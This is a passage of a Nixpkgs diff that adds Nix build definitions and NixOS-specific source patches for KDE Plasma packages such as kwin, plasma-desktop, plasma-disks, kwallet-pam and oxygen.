+{mkKdeDerivation}: +mkKdeDerivation { + pname = "ksshaskpass"; +} diff --git a/pkgs/kde/plasma/ksystemstats/default.nix b/pkgs/kde/plasma/ksystemstats/default.nix new file mode 100644 index 0000000000000..1d098b10b0239 --- /dev/null +++ b/pkgs/kde/plasma/ksystemstats/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + pkg-config, + libksysguard, + networkmanager-qt, + lm_sensors, + libnl, +}: +mkKdeDerivation { + pname = "ksystemstats"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [networkmanager-qt lm_sensors libnl]; + + cmakeFlags = ["-DSYSTEMSTATS_DBUS_INTERFACE=${libksysguard}/share/dbus-1/interfaces/org.kde.ksystemstats1.xml"]; +} diff --git a/pkgs/kde/plasma/kwallet-pam/default.nix b/pkgs/kde/plasma/kwallet-pam/default.nix new file mode 100644 index 0000000000000..4b3cdd678deea --- /dev/null +++ b/pkgs/kde/plasma/kwallet-pam/default.nix @@ -0,0 +1,16 @@ +{ + lib, + mkKdeDerivation, + pam, + libgcrypt, + socat, +}: +mkKdeDerivation { + pname = "kwallet-pam"; + + postPatch = '' + sed -i pam_kwallet_init -e "s|socat|${lib.getBin socat}/bin/socat|" + ''; + + extraBuildInputs = [pam libgcrypt]; +} diff --git a/pkgs/kde/plasma/kwayland-integration/default.nix b/pkgs/kde/plasma/kwayland-integration/default.nix new file mode 100644 index 0000000000000..0274068f7f79e --- /dev/null +++ b/pkgs/kde/plasma/kwayland-integration/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kwayland-integration"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/plasma/kwayland/default.nix b/pkgs/kde/plasma/kwayland/default.nix new file mode 100644 index 0000000000000..341fd8d356082 --- /dev/null +++ b/pkgs/kde/plasma/kwayland/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + pkg-config, + qtwayland, + wayland-protocols, +}: +mkKdeDerivation { + pname = "kwayland"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtwayland wayland-protocols]; +} diff --git a/pkgs/kde/plasma/kwin/0001-NixOS-Unwrap-executable-name-for-.desktop-search.patch b/pkgs/kde/plasma/kwin/0001-NixOS-Unwrap-executable-name-for-.desktop-search.patch new file mode 100644 index 0000000000000..896c5dcff20b0 --- /dev/null +++ b/pkgs/kde/plasma/kwin/0001-NixOS-Unwrap-executable-name-for-.desktop-search.patch @@ -0,0 +1,114 @@ +From 29ec6fada935ef966e5859082435ed57daa9522d Mon Sep 17 00:00:00 2001 +From: Samuel Dionne-Riel <samuel@dionne-riel.com> +Date: Tue, 16 Mar 2021 15:03:59 -0400 +Subject: [PATCH] [NixOS] Unwrap executable name for .desktop search + +Why is this necessary even though -a "$0" is used in the wrapper? +Because it's completely bypassing argv0! This looks at the executable +file in-use according to the kernel! + +Wrappers cannot affect the `/proc/.../exe` symlink! + +Co-authored-by: Yaroslav Bolyukin <iam@lach.pw> +--- + src/nixos_utils.h | 41 +++++++++++++++++++++++++++++++++++++++++ + src/service_utils.h | 4 +++- + src/waylandwindow.cpp | 5 ++++- + 3 files changed, 48 insertions(+), 2 deletions(-) + create mode 100644 src/nixos_utils.h + +diff --git a/src/nixos_utils.h b/src/nixos_utils.h +new file mode 100644 +index 0000000..726065d +--- /dev/null ++++ b/src/nixos_utils.h +@@ -0,0 +1,41 @@ ++#ifndef NIXOS_UTILS_H ++#define NIXOS_UTILS_H ++ ++// kwin ++// #include <kwinglobals.h> ++ ++namespace KWin ++{ ++ ++static QString unwrapExecutablePath(const QString &in_executablePath) ++{ ++ // NixOS fixes many packaging issues through "wrapper" scripts that manipulates the environment or does ++ // miscellaneous trickeries and mischievous things to make the programs work. ++ // In turn, programs often employs different mischievous schemes and trickeries to do *other things. ++ // It often happens that they conflict. ++ // Here, `kwin` tries to detect the .desktop file for a given process. ++ // `kwin` followed the process `/proc/.../exe` up to the actual binary running. ++ // It normally would be fine, e.g. /usr/bin/foobar is what's in the desktop file. ++ // But it's not the truth here! It's extremely likely the resolved path is /nix/store/.../bin/.foobar-wrapped ++ // rather than what the desktop file points to, something like /nix/store/.../bin/foobar !! ++ // Since the wrappers for Nixpkgs *always* prepend a dot and append -wrapped, we assume here that we can keep ++ // `/^(.*)\/\.([^/]*)-wrapped/` until the (equivalent) regex does not match. ++ // This should canonicalize the wrapper name to the expected name to look for in the desktop file. ++ ++ // Use a copy of the const string ++ QString executablePath(in_executablePath); ++ ++ // While the parts needed are present, "unwrap" one layer of wrapper names. ++ while (executablePath.endsWith("-wrapped") && executablePath[executablePath.lastIndexOf("/")+1] == QChar('.')) { ++ // Approximately equivalent to s/-wrapped$// ++ executablePath.remove(executablePath.length() - 8, 8); ++ // Approximately equivalent to s;/\.;/; ++ executablePath.remove(executablePath.lastIndexOf("/")+1, 1); ++ } ++ ++ return executablePath; ++} ++ ++}// namespace ++ ++#endif // NIXOS_UTILS_H +diff --git a/src/utils/serviceutils.h b/src/utils/serviceutils.h +index 8a70c1f..475b15d 100644 +--- a/src/utils/serviceutils.h ++++ b/src/utils/serviceutils.h +@@ -19,6 +19,7 @@ + #include <QLoggingCategory> + //KF + #include <KApplicationTrader> ++#include "nixos_utils.h" + + namespace KWin + { +@@ -26,8 +27,9 @@ namespace KWin + const static QString s_waylandInterfaceName = QStringLiteral("X-KDE-Wayland-Interfaces"); + const static QString s_dbusRestrictedInterfaceName = QStringLiteral("X-KDE-DBUS-Restricted-Interfaces"); + +-static QStringList fetchProcessServiceField(const QString &executablePath, const QString &fieldName) ++static QStringList fetchProcessServiceField(const QString &in_executablePath, const QString &fieldName) + { ++ const QString executablePath = unwrapExecutablePath(in_executablePath); + // needed to be able to use the logging category in a header static function + static QLoggingCategory KWIN_UTILS ("KWIN_UTILS", QtWarningMsg); + const auto servicesFound = KApplicationTrader::query([&executablePath] (const KService::Ptr &service) { +diff --git a/src/waylandwindow.cpp b/src/waylandwindow.cpp +index fd2c0c1..ae8cf96 100644 +--- a/src/waylandwindow.cpp ++++ b/src/waylandwindow.cpp +@@ -10,6 +10,7 @@ + #include "screens.h" + #include "wayland_server.h" + #include "workspace.h" ++#include "nixos_utils.h" + + #include <KWaylandServer/display.h> + #include <KWaylandServer/clientbuffer.h> +@@ -173,7 +174,9 @@ void WaylandWindow::updateIcon() + + void WaylandWindow::updateResourceName() + { +- const QFileInfo fileInfo(surface()->client()->executablePath()); ++ const QString in_path = surface()->client()->executablePath(); ++ const QString path = unwrapExecutablePath(in_path); ++ const QFileInfo fileInfo(path); + if (fileInfo.exists()) { + const QByteArray executableFileName = fileInfo.fileName().toUtf8(); + setResourceClass(executableFileName, executableFileName); +-- +2.32.0 diff --git a/pkgs/kde/plasma/kwin/0001-follow-symlinks.patch b/pkgs/kde/plasma/kwin/0001-follow-symlinks.patch new file mode 100644 index 0000000000000..efde4f4dcf04a --- /dev/null +++ b/pkgs/kde/plasma/kwin/0001-follow-symlinks.patch @@ -0,0 +1,25 @@ +From af569c9ed8079169b524b31461e2789baa09ef7a Mon Sep 17 00:00:00 2001 +From: Thomas Tuegel <ttuegel@mailbox.org> +Date: Mon, 27 Jan 2020 05:31:13 -0600 +Subject: [PATCH 1/3] follow symlinks + +--- + src/plugins/kdecorations/aurorae/src/aurorae.cpp | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/plugins/kdecorations/aurorae/src/aurorae.cpp b/src/plugins/kdecorations/aurorae/src/aurorae.cpp +index 5242cb7..2e4ddae 100644 +--- a/src/plugins/kdecorations/aurorae/src/aurorae.cpp ++++ b/src/plugins/kdecorations/aurorae/src/aurorae.cpp +@@ -201,7 +201,7 @@ void Helper::init() + // so let's try to locate our plugin: + QString pluginPath; + for (const QString &path : m_engine->importPathList()) { +- QDirIterator it(path, QDirIterator::Subdirectories); ++ QDirIterator it(path, QDirIterator::Subdirectories | QDirIterator::FollowSymlinks); + while (it.hasNext()) { + it.next(); + QFileInfo fileInfo = it.fileInfo(); +-- +2.29.2 + diff --git a/pkgs/kde/plasma/kwin/0003-plugins-qpa-allow-using-nixos-wrapper.patch b/pkgs/kde/plasma/kwin/0003-plugins-qpa-allow-using-nixos-wrapper.patch new file mode 100644 index 0000000000000..d0be721b044c8 --- /dev/null +++ b/pkgs/kde/plasma/kwin/0003-plugins-qpa-allow-using-nixos-wrapper.patch @@ -0,0 +1,26 @@ +From 8d49f5ef8692c352a62f4f8b1bc68e6e210bbee6 Mon Sep 17 00:00:00 2001 +From: Yaroslav Bolyukin <iam@lach.pw> +Date: Wed, 23 Dec 2020 18:02:14 +0300 +Subject: [PATCH 3/3] plugins/qpa: allow using nixos wrapper + +Signed-off-by: Yaroslav Bolyukin <iam@lach.pw> +--- + src/plugins/qpa/main.cpp | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/plugins/qpa/main.cpp b/src/plugins/qpa/main.cpp +index efd236b..a69c046 100644 +--- a/src/plugins/qpa/main.cpp ++++ b/src/plugins/qpa/main.cpp +@@ -23,7 +23,7 @@ public: + + QPlatformIntegration *KWinIntegrationPlugin::create(const QString &system, const QStringList ¶mList) + { +- if (!QCoreApplication::applicationFilePath().endsWith(QLatin1String("kwin_wayland")) && !qEnvironmentVariableIsSet("KWIN_FORCE_OWN_QPA")) { ++ if (!QCoreApplication::applicationFilePath().endsWith(QLatin1String("kwin_wayland")) && !QCoreApplication::applicationFilePath().endsWith(QLatin1String(".kwin_wayland-wrapped")) && !qEnvironmentVariableIsSet("KWIN_FORCE_OWN_QPA")) { + // Not KWin + return nullptr; + } +-- +2.29.2 + diff --git a/pkgs/kde/plasma/kwin/default.nix b/pkgs/kde/plasma/kwin/default.nix new file mode 100644 index 0000000000000..fc5f00991d9ee --- /dev/null +++ b/pkgs/kde/plasma/kwin/default.nix @@ -0,0 +1,54 @@ +{ + mkKdeDerivation, + pkg-config, + qtquick3d, + qtsensors, + qttools, + qtvirtualkeyboard, + qtwayland, + libinput, + xorg, + libdisplay-info, + mesa, + lcms2, + libcap, + pipewire, + krunner, + python3, +}: +mkKdeDerivation { + pname = "kwin"; + + patches = [ + # Follow symlinks when searching for aurorae configs + # FIXME(later): upstream? + ./0001-follow-symlinks.patch + # The rest are NixOS-specific hacks + ./0003-plugins-qpa-allow-using-nixos-wrapper.patch + ./0001-NixOS-Unwrap-executable-name-for-.desktop-search.patch + ]; + + postPatch = '' + patchShebangs src/plugins/strip-effect-metadata.py + ''; + + extraNativeBuildInputs = [pkg-config python3]; + extraBuildInputs = [ + qtquick3d + qtsensors + qttools + qtvirtualkeyboard + qtwayland + + krunner + + mesa # libgbm + lcms2 + libcap + libdisplay-info + libinput + pipewire + + xorg.libxcvt + ]; +} diff --git a/pkgs/kde/plasma/kwrited/default.nix b/pkgs/kde/plasma/kwrited/default.nix new file mode 100644 index 0000000000000..262f3b7c6493d --- /dev/null +++ b/pkgs/kde/plasma/kwrited/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kwrited"; +} diff --git a/pkgs/kde/plasma/layer-shell-qt/default.nix b/pkgs/kde/plasma/layer-shell-qt/default.nix new file mode 100644 index 0000000000000..9783220cddf2d --- /dev/null +++ b/pkgs/kde/plasma/layer-shell-qt/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qtwayland, + pkg-config, + wayland, + wayland-protocols, +}: +mkKdeDerivation { + pname = "layer-shell-qt"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtwayland wayland wayland-protocols]; +} diff --git a/pkgs/kde/plasma/libkscreen/default.nix b/pkgs/kde/plasma/libkscreen/default.nix new file mode 100644 index 0000000000000..d6fdd87c7e9b9 --- /dev/null +++ b/pkgs/kde/plasma/libkscreen/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtwayland, + qttools, + jq, +}: +mkKdeDerivation { + pname = "libkscreen"; + + extraNativeBuildInputs = [qttools qtwayland jq]; + extraBuildInputs = [qtwayland]; +} diff --git a/pkgs/kde/plasma/libksysguard/default.nix b/pkgs/kde/plasma/libksysguard/default.nix new file mode 100644 index 0000000000000..9dae888737ab5 --- /dev/null +++ b/pkgs/kde/plasma/libksysguard/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qtwebchannel, + qtwebengine, + qttools, + libpcap, + libnl, + lm_sensors, +}: +mkKdeDerivation { + pname = "libksysguard"; + + extraBuildInputs = [qtwebchannel qtwebengine qttools libpcap libnl lm_sensors]; +} diff --git a/pkgs/kde/plasma/libplasma/default.nix b/pkgs/kde/plasma/libplasma/default.nix new file mode 100644 index 0000000000000..1ff05b92ef0e5 --- /dev/null +++ b/pkgs/kde/plasma/libplasma/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qtsvg, + qtwayland, + wayland, + pkg-config, +}: +mkKdeDerivation { + pname = "libplasma"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtsvg qtwayland wayland]; +} diff --git a/pkgs/kde/plasma/lightdm-greeter-kde/default.nix b/pkgs/kde/plasma/lightdm-greeter-kde/default.nix new file mode 100644 index 0000000000000..9d508409f9d3d --- /dev/null +++ b/pkgs/kde/plasma/lightdm-greeter-kde/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "lightdm-greeter-kde"; +} diff --git a/pkgs/kde/plasma/milou/default.nix b/pkgs/kde/plasma/milou/default.nix new file mode 100644 index 0000000000000..555c7cbee2c7d --- /dev/null +++ b/pkgs/kde/plasma/milou/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "milou"; +} diff --git a/pkgs/kde/plasma/ocean-sound-theme/default.nix b/pkgs/kde/plasma/ocean-sound-theme/default.nix new file mode 100644 index 0000000000000..72adf43e3604c --- /dev/null +++ b/pkgs/kde/plasma/ocean-sound-theme/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "ocean-sound-theme"; +} diff --git a/pkgs/kde/plasma/oxygen-sounds/default.nix b/pkgs/kde/plasma/oxygen-sounds/default.nix new file mode 100644 index 0000000000000..68ee47d20eb8e --- /dev/null +++ b/pkgs/kde/plasma/oxygen-sounds/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "oxygen-sounds"; +} diff --git a/pkgs/kde/plasma/oxygen/default.nix b/pkgs/kde/plasma/oxygen/default.nix new file mode 100644 index 0000000000000..718a9737a8e1c --- /dev/null +++ b/pkgs/kde/plasma/oxygen/default.nix @@ -0,0 +1,51 @@ +{ + mkKdeDerivation, + qtbase, + libsForQt5, +}: +mkKdeDerivation { + pname = "oxygen"; + + outputs = ["out" "dev" "qt5"]; + + # We can't add qt5 stuff to dependencies or the hooks blow up, + # so manually point everything to everything. Oof. + extraCmakeFlags = [ + "-DQt5_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5" + "-DQt5Core_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Core" + "-DQt5DBus_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5DBus" + "-DQt5Gui_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Gui" + "-DQt5Network_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Network" + "-DQt5Qml_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5Qml" + "-DQt5QmlModels_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5QmlModels" + "-DQt5Quick_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5Quick" + "-DQt5Widgets_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Widgets" + "-DQt5X11Extras_DIR=${libsForQt5.qtx11extras.dev}/lib/cmake/Qt5X11Extras" + "-DQt5Xml_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Xml" + + "-DKF5Auth_DIR=${libsForQt5.kauth.dev}/lib/cmake/KF5Auth" + "-DKF5Codecs_DIR=${libsForQt5.kcodecs.dev}/lib/cmake/KF5Codecs" + "-DKF5Config_DIR=${libsForQt5.kconfig.dev}/lib/cmake/KF5Config" + "-DKF5ConfigWidgets_DIR=${libsForQt5.kconfigwidgets.dev}/lib/cmake/KF5ConfigWidgets" + "-DKF5Completion_DIR=${libsForQt5.kcompletion.dev}/lib/cmake/KF5Completion" + "-DKF5CoreAddons_DIR=${libsForQt5.kcoreaddons.dev}/lib/cmake/KF5CoreAddons" + "-DKF5FrameworkIntegration_DIR=${libsForQt5.frameworkintegration.dev}/lib/cmake/KF5FrameworkIntegration" + "-DKF5GuiAddons_DIR=${libsForQt5.kguiaddons.dev}/lib/cmake/KF5GuiAddons" + "-DKF5IconThemes_DIR=${libsForQt5.kiconthemes.dev}/lib/cmake/KF5IconThemes" + "-DKF5I18n_DIR=${libsForQt5.ki18n.dev}/lib/cmake/KF5I18n" + "-DKF5Kirigami2_DIR=${libsForQt5.kirigami2.dev}/lib/cmake/KF5Kirigami2" + "-DKF5Service_DIR=${libsForQt5.kservice.dev}/lib/cmake/KF5Service" + "-DKF5WidgetsAddons_DIR=${libsForQt5.kwidgetsaddons.dev}/lib/cmake/KF5WidgetsAddons" + "-DKF5WindowSystem_DIR=${libsForQt5.kwindowsystem.dev}/lib/cmake/KF5WindowSystem" + ]; + + # Move Qt5 plugin to Qt5 plugin path + postInstall = '' + mkdir -p $qt5/${libsForQt5.qtbase.qtPluginPrefix}/styles + mv $out/${qtbase.qtPluginPrefix}/styles/oxygen5.so $qt5/${libsForQt5.qtbase.qtPluginPrefix}/styles + + moveToOutput bin/oxygen-demo5 $qt5 + moveToOutput 'lib/liboxygenstyle5*' $qt5 + moveToOutput 'lib/liboxygenstyleconfig5*' $qt5 + ''; +} diff --git a/pkgs/kde/plasma/plasma-activities-stats/default.nix b/pkgs/kde/plasma/plasma-activities-stats/default.nix new file mode 100644 index 0000000000000..dff496e4f6311 --- /dev/null +++ b/pkgs/kde/plasma/plasma-activities-stats/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "plasma-activities-stats"; +} diff --git a/pkgs/kde/plasma/plasma-activities/default.nix b/pkgs/kde/plasma/plasma-activities/default.nix new file mode 100644 index 0000000000000..9ddd163e9fbb4 --- /dev/null +++ b/pkgs/kde/plasma/plasma-activities/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtdeclarative, + boost, +}: +mkKdeDerivation { + pname = "plasma-activities"; + + extraBuildInputs = [qtdeclarative boost]; +} diff --git a/pkgs/kde/plasma/plasma-browser-integration/default.nix b/pkgs/kde/plasma/plasma-browser-integration/default.nix new file mode 100644 index 0000000000000..6277071f9a760 --- /dev/null +++ b/pkgs/kde/plasma/plasma-browser-integration/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "plasma-browser-integration"; +} diff --git a/pkgs/kde/plasma/plasma-desktop/default.nix b/pkgs/kde/plasma/plasma-desktop/default.nix new file mode 100644 index 0000000000000..8ee90dee3a67a --- /dev/null +++ b/pkgs/kde/plasma/plasma-desktop/default.nix @@ -0,0 +1,67 @@ +{ + lib, + mkKdeDerivation, + runCommandLocal, + makeWrapper, + glib, + gsettings-desktop-schemas, + substituteAll, + util-linux, + pkg-config, + qtsvg, + qtwayland, + kaccounts-integration, + SDL2, + xkeyboard_config, + xorg, + libcanberra, + libxkbfile, + ibus, +}: let + # run gsettings with desktop schemas for using in "kcm_access" kcm + # and in kaccess + gsettings-wrapper = runCommandLocal "gsettings-wrapper" {nativeBuildInputs = [makeWrapper];} '' + mkdir -p $out/bin + makeWrapper ${glib}/bin/gsettings $out/bin/gsettings --prefix XDG_DATA_DIRS : ${gsettings-desktop-schemas.out}/share/gsettings-schemas/${gsettings-desktop-schemas.name} + ''; +in + mkKdeDerivation { + pname = "plasma-desktop"; + + patches = [ + (substituteAll { + src = ./hwclock-path.patch; + hwclock = "${lib.getBin util-linux}/bin/hwclock"; + }) + (substituteAll { + src = ./kcm-access.patch; + gsettings = "${gsettings-wrapper}/bin/gsettings"; + }) + ./tzdir.patch + ./no-discover-shortcut.patch + ]; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [ + qtsvg + qtwayland + + kaccounts-integration + + SDL2 + libcanberra + libxkbfile + xkeyboard_config + + xorg.libXcursor + xorg.libXft + xorg.xf86inputlibinput + xorg.xf86inputevdev + xorg.xorgserver + + ibus + ]; + + # wrap kaccess with wrapped gsettings so it can access accessibility schemas + qtWrapperArgs = ["--prefix PATH : ${lib.makeBinPath [gsettings-wrapper]}"]; + } diff --git a/pkgs/kde/plasma/plasma-desktop/hwclock-path.patch b/pkgs/kde/plasma/plasma-desktop/hwclock-path.patch new file mode 100644 index 0000000000000..4c0891db97a63 --- /dev/null +++ b/pkgs/kde/plasma/plasma-desktop/hwclock-path.patch @@ -0,0 +1,24 @@ +Index: plasma-desktop-5.8.5/kcms/dateandtime/helper.cpp +=================================================================== +--- plasma-desktop-5.8.5.orig/kcms/dateandtime/helper.cpp ++++ plasma-desktop-5.8.5/kcms/dateandtime/helper.cpp +@@ -48,10 +48,6 @@ + #include <sys/types.h> + #endif + +-// We cannot rely on the $PATH environment variable, because D-Bus activation +-// clears it. So we have to use a reasonable default. +-static const QString exePath = QStringLiteral("/usr/sbin:/usr/bin:/sbin:/bin"); +- + int ClockHelper::ntp(const QStringList &ntpServers, bool ntpEnabled) + { + int ret = 0; +@@ -227,7 +223,7 @@ int ClockHelper::tzreset() + + void ClockHelper::toHwclock() + { +- QString hwclock = QStandardPaths::findExecutable(QStringLiteral("hwclock"), exePath.split(QLatin1Char(':'))); ++ QString hwclock = QLatin1String("@hwclock@"); + if (!hwclock.isEmpty()) { + KProcess::execute(hwclock, QStringList() << QStringLiteral("--systohc")); + } diff --git a/pkgs/kde/plasma/plasma-desktop/kcm-access.patch b/pkgs/kde/plasma/plasma-desktop/kcm-access.patch new file mode 100644 index 0000000000000..91f5847e88a54 --- /dev/null +++ b/pkgs/kde/plasma/plasma-desktop/kcm-access.patch @@ -0,0 +1,13 @@ +diff --git a/kcms/access/kcmaccess.cpp b/kcms/access/kcmaccess.cpp +index 4f8d3e2..a96f755 100644 +--- a/kcms/access/kcmaccess.cpp ++++ b/kcms/access/kcmaccess.cpp +@@ -176,7 +176,7 @@ void KAccessConfig::launchOrcaConfiguration() + QStringLiteral("screen-reader-enabled"), + QStringLiteral("true")}; + +- int ret = QProcess::execute(QStringLiteral("gsettings"), gsettingArgs); ++ int ret = QProcess::execute(QStringLiteral("@gsettings@"), gsettingArgs); + if (ret) { + const QString errorStr = QLatin1String("gsettings ") + gsettingArgs.join(QLatin1Char(' ')); + setOrcaLaunchFeedback(i18n("Could not set gsettings for Orca: \"%1\" failed", errorStr)); diff --git a/pkgs/kde/plasma/plasma-desktop/no-discover-shortcut.patch b/pkgs/kde/plasma/plasma-desktop/no-discover-shortcut.patch new file mode 100644 index 0000000000000..f186671c9cc5a --- /dev/null +++ b/pkgs/kde/plasma/plasma-desktop/no-discover-shortcut.patch @@ -0,0 +1,13 @@ +diff --git a/applets/taskmanager/package/contents/config/main.xml b/applets/taskmanager/package/contents/config/main.xml +index 6bb27695d..25e621810 100644 +--- a/applets/taskmanager/package/contents/config/main.xml ++++ b/applets/taskmanager/package/contents/config/main.xml +@@ -85,7 +85,7 @@ + </entry> + <entry name="launchers" type="StringList"> + <label>The list of launcher tasks on the widget. Usually .desktop file or executable URLs. Special URLs such as preferred://browser that expand to default applications are supported.</label> +- <default>applications:systemsettings.desktop,applications:org.kde.discover.desktop,preferred://filemanager,preferred://browser</default> ++ <default>applications:systemsettings.desktop,preferred://filemanager,preferred://browser</default> + </entry> + <entry name="middleClickAction" type="Enum"> + <label>What to do on middle-mouse click on a task button.</label> diff --git a/pkgs/kde/plasma/plasma-desktop/tzdir.patch b/pkgs/kde/plasma/plasma-desktop/tzdir.patch new file mode 100644 index 0000000000000..97504b330fed4 --- /dev/null +++ b/pkgs/kde/plasma/plasma-desktop/tzdir.patch @@ -0,0 +1,18 @@ +Index: plasma-desktop-5.8.5/kcms/dateandtime/helper.cpp +=================================================================== +--- plasma-desktop-5.8.5.orig/kcms/dateandtime/helper.cpp ++++ plasma-desktop-5.8.5/kcms/dateandtime/helper.cpp +@@ -181,7 +181,12 @@ int ClockHelper::tz( const QString& sele + + val = selectedzone; + #else +- QString tz = "/usr/share/zoneinfo/" + selectedzone; ++ QString tzdir = QString::fromLocal8Bit(qgetenv("TZDIR")); ++ QString tz = tzdir + "/" + selectedzone; ++ if (tzdir.isEmpty()) { ++ // Standard Linux path ++ tz = "/usr/share/zoneinfo/" + selectedzone; ++ } + + if (QFile::exists(tz)) { // make sure the new TZ really exists + QFile::remove(QStringLiteral("/etc/localtime")); diff --git a/pkgs/kde/plasma/plasma-disks/default.nix b/pkgs/kde/plasma/plasma-disks/default.nix new file mode 100644 index 0000000000000..5941fe0dec547 --- /dev/null +++ b/pkgs/kde/plasma/plasma-disks/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + lib, + substituteAll, + smartmontools, +}: +mkKdeDerivation { + pname = "plasma-disks"; + + patches = [ + (substituteAll { + smartctl = lib.getExe smartmontools; + src = ./smartctl-path.patch; + }) + ]; +} diff --git a/pkgs/kde/plasma/plasma-disks/smartctl-path.patch b/pkgs/kde/plasma/plasma-disks/smartctl-path.patch new file mode 100644 index 0000000000000..71d4c5e7f8f5f --- /dev/null +++ b/pkgs/kde/plasma/plasma-disks/smartctl-path.patch @@ -0,0 +1,13 @@ +diff --git a/src/helper.cpp b/src/helper.cpp +index 102ebc5..4cde9da 100644 +--- a/src/helper.cpp ++++ b/src/helper.cpp +@@ -69,7 +69,7 @@ ActionReply SMARTHelper::smartctl(const QVariantMap &args) + // PATH is super minimal when invoked through dbus + setenv("PATH", "/usr/sbin:/sbin:/usr/local/sbin", 1); + +- const QString command = QStringLiteral("smartctl"); ++ const QString command = QStringLiteral("@smartctl@"); + const QString all = QStringLiteral("--all"); + + // JSON output. diff --git a/pkgs/kde/plasma/plasma-firewall/default.nix b/pkgs/kde/plasma/plasma-firewall/default.nix new file mode 100644 index 0000000000000..202d3ea089b27 --- /dev/null +++ b/pkgs/kde/plasma/plasma-firewall/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "plasma-firewall"; +} diff --git a/pkgs/kde/plasma/plasma-integration/default.nix b/pkgs/kde/plasma/plasma-integration/default.nix new file mode 100644 index 0000000000000..a626b94479347 --- /dev/null +++ b/pkgs/kde/plasma/plasma-integration/default.nix @@ -0,0 +1,67 @@ +{ + mkKdeDerivation, + qtbase, + qtwayland, + libsForQt5, + xorg, +}: +mkKdeDerivation { + pname = "plasma-integration"; + + # force it to check our custom import path too + patches = [./qml-path.patch]; + + outputs = ["out" "dev" "qt5"]; + + # We can't add qt5 stuff to dependencies or the hooks blow up, + # so manually point everything to everything. Oof. + extraCmakeFlags = [ + "-DQt5_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5" + "-DQt5Concurrent_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Concurrent" + "-DQt5Core_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Core" + "-DQt5DBus_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5DBus" + "-DQt5Gui_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Gui" + "-DQt5Network_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Network" + "-DQt5Qml_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5Qml" + "-DQt5QmlModels_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5QmlModels" + "-DQt5Quick_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5Quick" + "-DQt5QuickControls2_DIR=${libsForQt5.qtquickcontrols2.dev}/lib/cmake/Qt5QuickControls2" + "-DQt5ThemeSupport_LIBRARY=${libsForQt5.qtbase.out}/lib/libQt5ThemeSupport.a" + "-DQt5ThemeSupport_INCLUDE_DIR=${libsForQt5.qtbase.dev}/include/QtThemeSupport/${libsForQt5.qtbase.version}" + "-DQt5WaylandClient_DIR=${libsForQt5.qtwayland.dev}/lib/cmake/Qt5WaylandClient" + "-DQt5WaylandScanner_EXECUTABLE=${libsForQt5.qtwayland.dev}/bin/qtwaylandscanner" + "-DQt5Widgets_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Widgets" + "-DQt5X11Extras_DIR=${libsForQt5.qtx11extras.dev}/lib/cmake/Qt5X11Extras" + "-DQt5Xml_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Xml" + "-DQtWaylandScanner_EXECUTABLE=${libsForQt5.qtwayland.dev}/bin/qtwaylandscanner" + + "-DKF5Auth_DIR=${libsForQt5.kauth.dev}/lib/cmake/KF5Auth" + "-DKF5Bookmarks_DIR=${libsForQt5.kbookmarks.dev}/lib/cmake/KF5Bookmarks" + "-DKF5Codecs_DIR=${libsForQt5.kcodecs.dev}/lib/cmake/KF5Codecs" + "-DKF5Completion_DIR=${libsForQt5.kcompletion.dev}/lib/cmake/KF5Completion" + "-DKF5Config_DIR=${libsForQt5.kconfig.dev}/lib/cmake/KF5Config" + "-DKF5ConfigWidgets_DIR=${libsForQt5.kconfigwidgets.dev}/lib/cmake/KF5ConfigWidgets" + "-DKF5CoreAddons_DIR=${libsForQt5.kcoreaddons.dev}/lib/cmake/KF5CoreAddons" + 